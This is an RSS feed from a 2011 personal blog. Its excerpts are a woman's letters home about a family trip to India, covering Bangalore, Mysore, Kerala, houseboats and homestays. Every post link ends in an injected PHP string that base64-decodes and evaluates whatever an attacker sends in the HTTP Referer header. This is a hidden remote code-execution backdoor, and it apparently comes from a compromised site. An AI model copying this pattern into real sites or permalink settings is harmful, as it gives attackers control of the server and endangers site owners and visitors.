http://www.spiritwalk.org A Blog About Balance, Happiness and Spiritual Growth Wed, 13 Apr 2011 21:54:09 +0000 http://backend.userland.com/rss092 en Hello Family,Yesterday was a big spa day for us.  Our package at Indus Valley Ayurvedic Spa included massage, a facial, pedicure and manicure. So, we had to squeeze site seeing in between our spa. The facial was by far the best I have ever had, it would have been $200 ... http://www.spiritwalk.org/2011/04/13/day-11-12-13-in-india/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Hello Family,Amanda and I had a car take us to Mysore today.  It is about 2 1/2 hours from Bangalore.  We played scrabble on the Kindle all the way there. This made the time go really quickly and it kept my mind off of the crazy driving. We stopped at ... http://www.spiritwalk.org/2011/04/13/day-10-in-india/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Hello Family,Today Amanda and I started the day with a little shopping. The textiles are so incredibly beautiful I could spend all day in the shops just looking at all the different fabrics and clothes. I need to be done shopping now because my suitcase is over flowing. The city ... http://www.spiritwalk.org/2011/03/30/day-8-in-india/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Hello Family,This morning I was feeling very homesick, so we took it pretty easy today. Naren and his Dad suggested this 12 hour bus tour of Bangalore, and I was definitely not up for that. Instead we hired a auto-rickshaw to take us around to a few places. We went ... http://www.spiritwalk.org/2011/03/30/day-9-in-india/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Hello Family,Just woke up, slept in until 7:00 this morning. That is quite a feat for me, we all have had problems with waking up very early sometimes at 3:00 and 4:00, especially Scott. We had a late night last night and a long day yesterday, so we were very ... http://www.spiritwalk.org/2011/03/30/day-7-in-india/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Hello Family,We finished up our boat ride this morning with another yummy breakfast and a beautiful ride to our hotel. The weather was was so nice this morning. We saw a lot of birds this morning on the water, egrets, cormorants and herons. The houseboat dropped us off right at ... http://www.spiritwalk.org/2011/03/26/day-6-in-india/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Hello Family,Our driver came and picked us up from Noah Ark this morning to take us to Kumorakon to catch our houseboat. We were sad to say good by to our hosts Diana and Jerry.  They treated us so well. We had another amazing breakfast. We have yet to have ... http://www.spiritwalk.org/2011/03/26/day-5-in-india/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Hi Family,I am starting to loose track of my days already. Our homestay (bed & breakfast) is really great. The couple that run it, Diana and Jerry, are such sweet people. Very helpful. We had such a delicious breakfast. Started with a traditional American omelet and toast and then had ... http://www.spiritwalk.org/2011/03/26/day-4-in-india/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Hello Family,We are now in Kerala. We took a short flight, 1 1/4 hour. Definitely the way to go. We are staying in a lovely homestay (B & B) in Fort Kochi, which is right on the Arabian sea. It is much hotter here than in Bangalore. There are so many things ... http://www.spiritwalk.org/2011/03/20/day-3-in-india/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Hi family,We are in India.  Our flights were really good, but so long. Naren and his brother Karthik were at the airport when we got there. We were so happy to see them, I thought they were sending a car, so we were very pleased to see a familiar face.  We took a taxi ... http://www.spiritwalk.org/2011/03/17/travels-to-india/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/